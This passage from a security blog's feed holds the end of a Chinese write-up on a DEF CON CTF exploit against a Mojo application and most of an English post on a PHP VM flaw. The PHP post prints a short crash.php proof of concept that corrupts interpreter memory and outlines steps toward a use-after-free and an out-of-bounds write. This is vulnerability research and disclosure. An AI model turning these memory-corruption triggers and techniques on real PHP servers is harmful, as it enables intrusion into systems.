中新增给定的value.</li></ol><p>这里的问题出现在一个非常细微的地方，在<code>modfiy_fragments</code>中传进来了一个<code>db</code>，它的标识符为<code>owned</code>，并且在后面的<code>if</code>第二个条件使用了它。当调用形式为<code>self.modify_fragments(self.db, ...)</code>，<code>db</code>就会是一个copied value，它和<code>self.db</code>是两个独立的东西。这就造成了<code>if</code>的两个条件使用的database实例是不一样， 可能潜在的导致上面的bound check <code>if</code>失败。 这个地方看起来似乎是比较刻意的，但是我觉得这样的隐式拷贝是非常有可能出现在实际中的，如果用户没有正确地理解Mojo中的值传递概念。</p><h3 id="x04-利用">0x04 利用</h3><p>[5]给出的solution需要通过race来绕过bound check实现OOB。具体的方案是构造两个coroutine:</p><ol type="1"><li>coroutine1: 调用<code>modify_fragments</code>，指定fragment dict形如<code>&#123;0:0, 0:0, ...., N:M&#125;</code>，其中<code>col:0, fra:0</code>是存在的fragment，而<code>col:N, fra:M</code>是不存在的fragment，我们假设只有一个collection。 通过精心地构造存在的fragment内容和传入filter，我们可以在<code>do_modify</code>中实现RE-Dos，用来延迟最后关于<code>col:1, fra:20</code>的访问。</li><li>coroutine2: 调用<code>add_collections</code>，往<code>app.db</code>中新增collections，使得当coroutine1访问<code>col:N, fra:M</code>通过<code>if</code>的第一个条件，而在第二个条件上发生OOB（因为copied db不会发生变化）。</li></ol><p>但是即使发生了OOB，也需要让绕过第二条件，由此达到<code>do_motify</code>中的OOB write。我们可以通过调整<code>N</code>来找到一个合适的faked collection, 使得它当中用于记录fragments的<code>List</code>对应的<code>len</code>字段大于<code>M</code>。这一点很容易做到，因为堆上往往有很大的随机数字，因此这里大概率不需要使用堆喷。并且Mojo runtime没有对<code>List</code>的额外效验，所以伪造<code>List</code>比较简单。</p><p>注意<code>modfiy_fragments</code>具体操作是对fragment中的history list新增一个string。[5]中使用了堆喷来布置大量的faked fragments, 并且使得其中list的<code>data_pointer</code>指向Star的路由表对应list，然后调整M，使得正好访问这些faked fragments中的一个, 实现对路由表的修改。此时路由表所在位置实际存储是一个string，但是前面我们说过，string本身还是一个list, 因此我们可以这个string上未知任意的路由表。最终将其劫持到一个Star本身给定的exploitable的函数上。其完整的利用过程如下:</p><p><img src="https://raw.githubusercontent.com/m4p1e/images/9de841db154a75531c5059c9f504268fb77f30b5/mojo-Page-2.jpg" /></p><h3 id="x05-总结">0x05 总结</h3><p>回到最初我们提到的Mojo的使命，它是否可以让以Python为主的AI工程师进行高效地工作呢？ 目前看来它还达不到。</p><p>引入的所有权机制无疑会增加工程师们心智上的负担。比如在写某个函数的时候，就会陷入我这个参数应该用哪个标识符呢？在Python里面你似乎没有这样的顾虑，而你忧虑的性能也许Python已经帮你顾及到了，例如reference counting + copy on write可以在一定程度上弥补使用immutable reference带来的性能。其次，如果某个地方涉及到了ownership的传递，而你不小心少写了一个transfer operator，可能性能也因此不会变好。但是，我觉得Mojo上ownership model的实现上要比Rust看起来更加的清爽。</p><p>相比于一次性写出高效的算法实现，当下我更加同意另外一个观点，有人负责算法的实现，有人负责实现上的优化，彼此分工合作，那这是不是也意味Python只是缺少一些更加高效的JIT技术呢？另外一个，在stdlib中各种乱飞的unsafe和直接使用MLIR的操作，比较令人担忧。但是无论如何它是在MLIR上的一个native language, 相比于那些喊着口号为AI设计的语言，要更贴切主题一些。</p><p>总之，Mojo目前依然还不是一个成熟的语言，但是它在往前走，是否哪一个语言不需要个把年来沉淀？对此我还是比较期待它的未来的，愿意接受新事物的同学，可以大胆一探究竟。</p><h3 id="x06-引用">0x06 引用</h3><ol type="1"><li>Mojo官方文档, https://docs.modular.com/mojo</li><li>Mojo Debugging, https://docs.modular.com/mojo/manual/values/ownership</li><li>Mojo stdlib https://github.com/modularml/mojo/tree/main/stdlib</li><li>Use-after-free / Out-of-bound on Mojo Pointer, https://github.com/modularml/mojo/issues/142</li><li>Star solver, https://github.com/Nautilus-Institute/quals-2024/blob/main/%F0%9F%8C%8C/solver/solver.py</li></ol>]]></content>
    
    
      
      
    <summary type="html">&lt;h3 id=&quot;x01-介绍&quot;&gt;0x01 介绍&lt;/h3&gt;
&lt;p&gt;在刚刚过去的defcon quals 2024上出现了Mojo[1]写的应用，看见了小伙伴对它的吐槽，我也很好奇它到底是怎样的一个语言，决定深入探索一下。Mojo的主推者Chris Lattner同时是LLVM和Sw</summary>
      
    
    
    
    <category term="mojo" scheme="https://m4p1e.com/categories/mojo/"/>
    
    
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    <title>The Elegy of PHP : The Butterfly Effect of an IR Design Flaw</title>
    <link href="https://m4p1e.com/2024/03/13/bad_php_ir_en/"/>
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    <published>2024-03-13T16:30:00.000Z</published>
    <updated>2024-03-20T04:16:53.945Z</updated>
    
    <content type="html"><![CDATA[<h2 id="x01-issues-in-ir-design">0x01 Issues in IR Design</h2><h3 id="source-of-the-problem">1.1 Source of the Problem</h3><p>I first learned about this from Laruence (<a href="https://www.laruence.com/">鸟哥</a>) who is a core member of PHP development group. His blog was a place I often visited when I was studying the PHP internals in the early days. In 2020, Laruence posted an article titled "Understanding the HashTable of PHP 7 Internals in Depth" [2]. At the end of the article, he mentioned an issue:</p><blockquote><p>In implementing zend_array to replace HashTable, we encountered many problems, most of which have been solved. However, one problem remains unresolved. Because arData is continuously allocated now, when the array grows to the point of needing to be resized, we can only realloc memory. However, the system does not guarantee that the address will not change after you realloc. So, it is possible that:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">phpCopy code<span class="meta">&lt;?php</span></span><br><span class="line"><span class="variable">$array</span> = range(<span class="number">0</span>, <span class="number">7</span>);</span><br><span class="line"> </span><br><span class="line">set_error_handler(<span class="function"><span class="keyword">function</span>(<span class="params"><span class="variable">$err</span>, <span class="variable">$msg</span></span>) </span>&#123;</span><br><span class="line">    <span class="keyword">global</span> <span class="variable">$array</span>;</span><br><span class="line">    <span class="variable">$array</span>[] = <span class="number">1</span>; <span class="comment">//force resize;</span></span><br><span class="line">&#125;);</span><br><span class="line"> </span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">crash</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">    <span class="keyword">global</span> <span class="variable">$array</span>;</span><br><span class="line">    <span class="variable">$array</span>[<span class="number">0</span>] += <span class="variable">$var</span>; <span class="comment">//undefined notice</span></span><br><span class="line">&#125;</span><br><span class="line"> </span><br><span class="line">crash();</span><br></pre></td></tr></table></figure><p>In the example above, <code>$array</code> is a global array, then it is referenced in the function crash, in the += opcode handler, zend vm will first get the content of <code>array[0]</code>, then +<code>$var</code>. But <code>$var</code> is an undefined variable, so at this time, an undefined variable notice will be triggered. Meanwhile, we set an error_handler, in which we add an element to this array. Because arrays in PHP are pre-allocated with 2^n space, at this point, the array is full and needs to be resized, so realloc occurs. After returning from the error_handler, the memory pointed to by <code>array[0]</code> may have changed, resulting in memory read and write errors, or even segfaults. Interested students can try running this example with valgrind to see.</p><p>But the trigger conditions for this problem are quite numerous, fixing it would require additional modifications to the data structure, or splitting the add_assign could impact performance. Additionally, in most cases, due to the existence of the array's pre-allocation strategy and the fact that most multi-opcode handler read-write operations are basically close, this problem is actually difficult to be triggered by actual code. So, this problem has been hovering.</p></blockquote><p>Even today, this problem still <strong>hovers</strong>. For the most of PHP developers, this may indeed not be a significant issue, but for an experienced security researcher, there may be a serious security issue hidden here. Because it is one of the few issues I have seen in the PHP VM rather than in various PHP native libraries. Once exploitable, the impact will be significant. So, this problem has always been on my mind, and it has been in my PHP-exploit repo as <code>crash.php</code> [3] for 4 years. Especially, as long as you run it with PHP 7 or 8, it will cause a segmentfault, and I don't know if anyone has tried it.</p><h3 id="resistance-to-fixing-the-problem">1.2 Resistance to Fixing the Problem</h3><p>Laruence's explanation is very clear, here I try to use more popular pseudo-code to further help readers who are not familiar with the PHP internals understand what PHP VM is doing at line 11:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">&#x2F;&#x2F; array &#x3D; [0, 1, 2, 3, 4, 5, 6, 7]</span><br><span class="line">arr_base &#x3D; get_base_addr_of(array)</span><br><span class="line">elem_addr &#x3D; get_addr_by_index(array_base, index)</span><br><span class="line">elem &#x3D; get_elem_from_addr(elem_addr)</span><br><span class="line">&#x2F;&#x2F; elem is ok</span><br><span class="line">check_var(var)</span><br><span class="line">&#x2F;&#x2F; is elem ok?</span><br><span class="line">res &#x3D; add(elem, var)    </span><br><span class="line">assign_var_to_elem(elem, res)</span><br></pre></td></tr></table></figure><p>Here are a few things done here:</p><ol type="1"><li>First, we get the starting address of the memory area where <code>array</code> stores elements.</li><li>Get the memory address of the specific element specified by <code>index</code>.</li><li>Read the element from <code>elem_addr</code> to <code>elem</code>.</li><li>Check the legality of <code>var</code>. More specifically, when <code>var</code> is an explicitly defined variable in PHP code (i.e., <code>$a</code>), check if it has been defined. If <code>var</code> is an undefined PHP variable, then the VM initializes its value to <code>null</code>. Because the VM cannot directly expose <code>undefined</code> to user code.</li><li>Perform arithmetic addition on <code>elem</code> and <code>var</code> to get the result <code>res</code>.</li><li>Finally, assign <code>res</code> to <code>elem</code>.</li></ol><p>The problem occurs at line 6, where <code>check_var(var)</code> may have side effects, thus <strong>clobbering the world</strong>. I learned this term from JavaScriptCore (the WebKit's JavaScript engine), where the appearance of side effects may cause previous computation results unavailable. In this case, we cannot directly use these computation results. Is <code>elem</code> still correctly pointing to the target element to be written after line 6? We cannot be sure after line 6, because the memory address it points to may have been released, and the correct target element position may have been moved to another memory.</p><p>The above is actually a rough explanation of the PHP opcode <code>ZEND_ASSIGN_DIM_OP</code>, and you can find the complete explanation in [4]. So why hasn't this problem been fixed? Good question. Let's start with a few intuitively feasible simple fixes to explain where the resistance to fixing lies. Here, I use <code>array-&gt;arData</code> to represent the memory address pointing to the first element, and the rest of the elements of <code>array</code> are sequentially located after it.</p><p><strong>Simple Fix 1: Check if <code>elem</code> is still located at the relative position of <code>array-&gt;arData</code> after line 6</strong></p><p>This can only ensure that <code>array-&gt;arData</code> has not changed, but how do you guarantee no <strong>ABA</strong> problem? For example, the storage element area of <code>array</code> is released, then occupied by other memory structures, then released again, and then arranged as the layout of the original storage element area of <code>array</code> (another array2 with the same structure occupies this area).</p><p><strong>Simple Fix 2: Move <code>check_var</code> to the very beginning</strong></p><p>So you consider the following code snippet:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$array</span>[<span class="string">&#x27;a&#x27;</span>][<span class="string">&#x27;b&#x27;</span>] = <span class="variable">$var</span>;</span><br></pre></td></tr></table></figure><p>This code will be translated into intermediate code similar to the following:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">L0 : V2 = FETCH_DIM_W CV0(<span class="variable">$array</span>) <span class="keyword">string</span>(<span class="string">&quot;a&quot;</span>)</span><br><span class="line">L1 : ASSIGN_DIM V2 <span class="keyword">string</span>(<span class="string">&quot;b&quot;</span>)</span><br><span class="line">L2 : OP_DATA CV1(<span class="variable">$var</span>)</span><br></pre></td></tr></table></figure><p>Here we consider <code>ZEND_ASSIGN_DIM</code> without binary operations. The above code is equivalent to:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">V2 =&amp; <span class="variable">$array</span>[<span class="string">&#x27;a&#x27;</span>];</span><br><span class="line">V2[<span class="string">&#x27;b&#x27;</span>] = <span class="variable">$var</span>;</span><br></pre></td></tr></table></figure><p>Where <code>V2</code> points to the position of the index <code>'a'</code> element in <code>$array</code>, so I use <code>=&amp;</code> here to emphasize that <code>V2</code> is not <code>$array['a']</code>. So, the problem arises, if the side effects in line 2 cause <code>$array</code> to be resized, then the position pointed to by this <code>V2</code> is incorrect.</p><p>This problem is destined not to be simply fixed.</p><h3 id="unset-and-reassign">1.3 unset and reassign</h3><p>You can try replacing the previous resize operation with unset or reassign, as follows:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">phpCopy code&lt;?php</span><br><span class="line">$array &#x3D; range(0, 7);</span><br><span class="line"></span><br><span class="line">set_error_handler(function($err, $msg) &#123;</span><br><span class="line"> global $array;</span><br><span class="line"> &#x2F;&#x2F; $array &#x3D; 2;</span><br><span class="line"> unset($array);</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line">function crash() &#123;</span><br><span class="line"> global $array;</span><br><span class="line"> $array[0] +&#x3D; $var; &#x2F;&#x2F;undefined notice</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">crash();</span><br></pre></td></tr></table></figure><p>There are some differences between the two cases:</p><ol type="1"><li><code>unset($array)</code> simply "cleans up" <code>$array</code> in the current function scope and does not affect the global variable <code>$array</code>, so there is no problem here.</li><li><code>$array = 2</code> will affect all places that reference it, so the same problem as resizing occurs here.</li></ol><p>Interestingly, the official has already noticed such problems, for example, it checks the side effects caused by undefined <code>index</code> (i.e., <code>$arr[$undef_var] = 1</code>). But no check is made on the value to be written.</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">static</span> zend_never_inline zend_uchar <span class="title">slow_index_convert</span><span class="params">(HashTable *ht, <span class="keyword">const</span> zval *dim, zend_value *value EXECUTE_DATA_DC)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="keyword">switch</span> (Z_TYPE_P(dim)) &#123;</span><br><span class="line"><span class="keyword">case</span> IS_UNDEF: &#123;</span><br><span class="line"><span class="comment">/* The array may be destroyed while throwing the notice.</span></span><br><span class="line"><span class="comment"> * Temporarily increase the refcount to detect this situation. */</span></span><br><span class="line"> <span class="keyword">if</span> (!(GC_FLAGS(ht) &amp; IS_ARRAY_IMMUTABLE)) &#123;</span><br><span class="line">GC_ADDREF(ht);</span><br><span class="line">&#125;</span><br><span class="line">ZVAL_UNDEFINED_OP2();</span><br><span class="line"><span class="keyword">if</span> (!(GC_FLAGS(ht) &amp; IS_ARRAY_IMMUTABLE) &amp;&amp; !GC_DELREF(ht)) &#123;</span><br><span class="line">zend_array_destroy(ht);</span><br><span class="line"><span class="keyword">return</span> IS_NULL;</span><br><span class="line">&#125;</span><br><span class="line">            <span class="comment">// ...</span></span><br></pre></td></tr></table></figure><p>Here it first increases the reference count of <code>ht</code> (<code>HashTable</code> is an alias of <code>zend_array</code>) to hold this array. Then, after the error handling function returns, it subtracts the previously added reference count. If the reference count has not changed, it means that the array has not been released.</p><h3 id="possible-fixes">1.4 Possible fixes</h3><p>Changing <code>ZEND_ASSIGN_DIM</code> or <code>ZEND_ASSIGN_DIM_OP</code> (including all array fetch operations) to support <strong>multi-index</strong> is what I think is the most direct approach. For example, the previous <code>$array['a']['b'] = $var;</code> will be translated to:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">L0 : ASSIGN_DIM CV0(<span class="variable">$array</span>) [<span class="keyword">string</span>(<span class="string">&quot;b&quot;</span>), <span class="keyword">string</span>(<span class="string">&quot;b&quot;</span>)]</span><br><span class="line">L1 : OP_DATA CV1(<span class="variable">$var</span>)</span><br></pre></td></tr></table></figure><p>And before this, all indexes and expressions corresponding to the value to be written are calculated. Note that this will not change the current PHP evaluation order. Consider the following code:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">func1</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line"><span class="keyword">echo</span> <span class="string">&quot;func1\n&quot;</span>;</span><br><span class="line"><span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">func2</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line"><span class="keyword">echo</span> <span class="string">&quot;func2\n&quot;</span>;</span><br><span class="line"><span class="keyword">return</span> <span class="number">2</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="variable">$a</span> = [];</span><br><span class="line">set_error_handler(<span class="function"><span class="keyword">function</span>(<span class="params"><span class="variable">$err</span>, <span class="variable">$msg</span></span>)</span>&#123;<span class="keyword">echo</span> <span class="variable">$msg</span>.<span class="string">&quot;\n&quot;</span>;&#125;);</span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$a</span>[func1()][func2()];</span><br><span class="line"><span class="comment">/* output at PHP 8.3.3:</span></span><br><span class="line"><span class="comment">func1</span></span><br><span class="line"><span class="comment">func2</span></span><br><span class="line"><span class="comment">Undefined array key 1</span></span><br><span class="line"><span class="comment">Trying to access array offset on null</span></span><br><span class="line"><span class="comment">*/</span></span><br></pre></td></tr></table></figure><p>You can check that all indexes are calculated first.</p><h3 id="things-are-never-as-simple-as-they-seem">1.5 Things are Never as Simple as They Seem</h3><p>Initially, I didn't intend to open an issue for this problem in the PHP repository because I assumed that the core developers of PHP were already aware of it. It first appeared in <a href="https://bugs.php.net/bug.php?id=78598">bug78598</a>, and at that time, Nikita Popov only noticed the undefined index issue, which happened in 2019. However, I still opened an <a href="https://github.com/php/php-src/issues/13754">issue</a> to remind PHP developers of the problem. Through this issue, I learned that there were still people working on it. It was only then that I realized the provided fix could only address simple cases of array assignment/fetch because I had forgotten that object assignment and fetch also had similar issues. Ilija Tovilo made two efforts:</p><p>First commit:</p><p>https://github.com/iluuu1994/php-src/commit/fa475eac27dd7ab23e3670a1b3f19e4ad914210d</p><p>Second commit:</p><p>https://github.com/iluuu1994/php-src/commit/198b22ac63e4c25028bccf8a5e9168d1ff2f0443</p><p>I am very grateful to Ilija, and through our communication, I learned about the concept of delayed error. This idea is completely opposite to my previous idea. My initial idea was to throw errors as soon as possible, causing the side effects to take effect before fetching the address of the element. In contrast, delayed error is a concept where the error occurring during array assignment is deferred until after the array assignment is complete.</p><p>Delayed error handling is somewhat similar to normal exception handling, but unlike normal exceptions, delayed error handling will continue executing the next opcode that triggered it after it finishes. It's somewhat similar to algebraic effects in functional programming. There are still some issues to address in implementing delayed error handling, such as how to handle it in the current PHP JIT and which parts of PHP need this mechanism and need to be manually triggered. For more details, you can refer to the <a href="https://github.com/php/php-src/issues/13754">issue</a>.</p><p>This problem is even more complex than I initially thought, and Ilija referred to it as "fundamentally hard." It will probably persist for a long time in the future...</p><h2 id="x02-three-butterflies">0x02 Three Butterflies</h2><p>TL;DR. If you don't want to hear the story, you can skip this section.</p><p>Four years ago, after learning about this problem, I began to explore how to exploit it. Unfortunately, I'm not very smart, and for four years I haven't come up with a solution. Over the past four years, my work has been closely integrated with PHP, and I've written about 40-50k lines of code in PHP, almost creating a whole new PHP interpreter. It's hard to imagine that this is something a security researcher would do. So I know a little bit more about PHP.</p><p>I was able to complete this article because of three butterflies. The first butterfly taught me some new methods; the second butterfly showed me a new continent; and the third butterfly led me out of trouble.</p><p>Before, I was actually trapped in a misunderstanding. My basic idea was:</p><ol type="1"><li><code>array</code> will be resized.</li><li>Then I immediately get the memory released by <code>array</code>, so I can create a UAF.</li></ol><p>There's no problem here.</p><p>Here's the pseudo-code similar to <code>ZEND_ASSIGN_DIM</code> about <code>ZEND_ASSIGN_DIM_OP</code> I posted earlier:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">&#x2F;&#x2F; array &#x3D; [0, 1, 2, 3, 4, 5, 6, 7]</span><br><span class="line">arr_base &#x3D; get_addr_of(array)</span><br><span class="line">elem_addr &#x3D; get_addr_of(array_base, index)</span><br><span class="line">elem &#x3D; get_elem_from_addr(elem_addr)</span><br><span class="line">check_var(var)</span><br><span class="line">assign_var_to_elem(elem, var)</span><br></pre></td></tr></table></figure><p>But the problem is, <code>assign_var_to_elem</code> can only write a special <code>null</code> value to the target memory (as mentioned earlier, <code>var</code> will be initialized to <code>null</code>), and <code>elem</code> needs to be checked during the process. In other words, the target memory needs to have a rather strict memory layout. Secondly, influenced by the <code>$a[0] += $var</code> in Laruence's code, I think this <code>null</code> can only be written slightly ahead in this memory. That's where my misconception lies. Combining the above reasons has always prevented me from finding a suitable structure to hold this memory.</p><p>In the past, I gradually stopped paying attention to security issues in PHP, and sometimes I found some problems when writing code, but I just fixed it and no more following. It wasn't until recently when I saw the news about LockBit that I suddenly became interested and wrote "CVE-2023-3824: Lucky Off-by-one (two?)" [5]. A few days after finishing the article, I went to browse the security communities to see what everyone was researching. It was during this process that I discovered the three butterflies.</p><p>First, I found an article "Summary of WebAssembly Security Research" [6]. This article introduces how to attack Wasm engines by constructing malicious bytecode, which is quite interesting. There are similar problems in PHP opcache. I personally prefer some security research on interpreters and compilers, so I wanted to see if there was any deeper research on Wasm and searched for other articles by the author.</p><p><strong>The First Butterfly</strong></p><p>I found that the author had many studies on JavaScriptCore (jsc), which I hadn't encountered before, only briefly encountering V8. It seems quite interesting, so let's take a look. With the help of the article [7] and the series of articles [8], my wrote an another article "CVE-2018-4262: Apple Safari RegExp Match Type Confusion by JIT". During this process, I accumulated some knowledge about jsc. In particular, some constructions (box/unbox) in it broadened my horizons, which were quite amazing, to the point where I wanted to replicate them in PHP exploitation constructions. In jsc, there is a special structure called butterfly for storing JSObject's properties and elements, because its memory structure resembles a butterfly with wings, hence the name butterfly. The ascii graph comes from [9].</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">--------------------------------------------------------</span><br><span class="line">.. | propY | propX | length | elem0 | elem1 | elem2 | ..</span><br><span class="line">--------------------------------------------------------</span><br><span class="line">                            ^</span><br><span class="line">                            |</span><br><span class="line">            +---------------+</span><br><span class="line">            |</span><br><span class="line">  +-------------+</span><br><span class="line">  | Some Object |</span><br><span class="line">  +-------------+</span><br></pre></td></tr></table></figure><p>This structure is frequently used in jsc exploitation, including the box/unbox technique I mentioned earlier. This is the first butterfly.</p><p><strong>The Second Butterfly</strong></p><p>While reading [9], I also saw saelo's blog post "Pwning Lua through 'load'" [10]. These are the things I like to read, so let's read it. I was surprised to find that Lua actually doesn't have a bytecode verifier, and the content of the article is quite similar to the previous one attacking Wasm engines. Then I wanted to see some security research on Lua for a better understanding and found a series of security researches on LuaJIT by bigshaq [11], where I encountered the second butterfly. LuaJIT's JIT compiler translates the collected trace into IR and puts it in a structure similar to a butterfly. It looks like this:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">                                                  </span><br><span class="line">-----------------------------------------         </span><br><span class="line">      |      |      |     |     |                 </span><br><span class="line">      |const2|const1|inst1|inst2|                 </span><br><span class="line">      |      |      |     |     |                 </span><br><span class="line">--------------------▲-----------─---------        </span><br><span class="line">                    │                             </span><br><span class="line">                    │                             </span><br><span class="line">   ┌──────┐         │                             </span><br><span class="line">   │ ir_p ├─────────┘                             </span><br><span class="line">   └──────┘                                       </span><br><span class="line">                                                </span><br></pre></td></tr></table></figure><p>Instructions are on one wing, and constants are on the other wing. In this brief LuaJIT journey, I accumulated some knowledge about LuaJIT, but I found that the last research on security issues was too deliberate, after all, it was a CTF problem, understandable. However, the technique of fixing the shellcode using guarded assertions in JIT code is really good.</p><p><strong>The Last Butterfly</strong></p><p>JIT technology in PHP 8 is heavily influenced by LuaJIT. So much so that in a blog post by bigshaq about PHP, the related exploits from LuaJIT can applied in PHP. After a big circle, I returned to PHP again and suddenly discovered that Dmitry had created a JIT Compilation Framework [11] called <em>IR</em>. Dmitry is the man who wrote almost all the optimizers in PHP by himself, and I deeply admire him for that. When I heard about <em>IR</em>, I was restless for a long time. The new JIT compiler based on <em>IR</em> has been merged into the master branch of PHP-src, and the annoying DynAsm is finally gone. I immediately looked at Dmitry's introduction to it [13], and finally I have a chance to not have to write a optimizer on PHP bytecode. I saw optimizations similar to Sea of Nodes in V8 TurboFan and various new optimizations that hasn't appeared in PHP. At this moment, I decided to do something for it in the future. Because the optimizers Dmitry wrote had been with me for a long time.</p><p>I remembered the IR flaw mentioned in the article, and I thought it should be over now. I started to examine it again, and my gaze returned to <code>zend_array</code> in PHP. Doesn't it also have a butterfly there? The ascii graph comes from [14].</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">&#x2F;*</span><br><span class="line"> * HashTable Data Layout</span><br><span class="line"> * &#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;</span><br><span class="line"> *</span><br><span class="line"> *                 +&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;+</span><br><span class="line"> *                 | HT_HASH(ht, ht-&gt;nTableMask) |                   +&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;+</span><br><span class="line"> *                 | ...                         |                   | HT_INVALID_IDX              |</span><br><span class="line"> *                 | HT_HASH(ht, -1)             |                   | HT_INVALID_IDX              |</span><br><span class="line"> *                 +-----------------------------+                   +-----------------------------+</span><br><span class="line"> * ht-&gt;arData ---&gt; | Bucket[0]                   | ht-&gt;arPacked ---&gt; | ZVAL[0]                     |</span><br><span class="line"> *                 | ...                         |                   | ...                         |</span><br><span class="line"> *                 | Bucket[ht-&gt;nTableSize-1]    |                   | ZVAL[ht-&gt;nTableSize-1]      |</span><br><span class="line"> *                 +&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;+                   +&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;+</span><br><span class="line"> *&#x2F;</span><br></pre></td></tr></table></figure><p>PHP has two special arrays, packed arrays and mixed arrays. When I was thinking about them, this butterfly popped into my mind. It turns out that I don't need to write that <code>null</code> slightly ahead in memory; I can have <code>null</code> written to the middle of this memory. I even forgot that I could control the position of writing this <code>null</code> by adjusting the index. This mistake has been with me for four years. It turns out that the butterfly has always been there, on that branch I could see.</p><h2 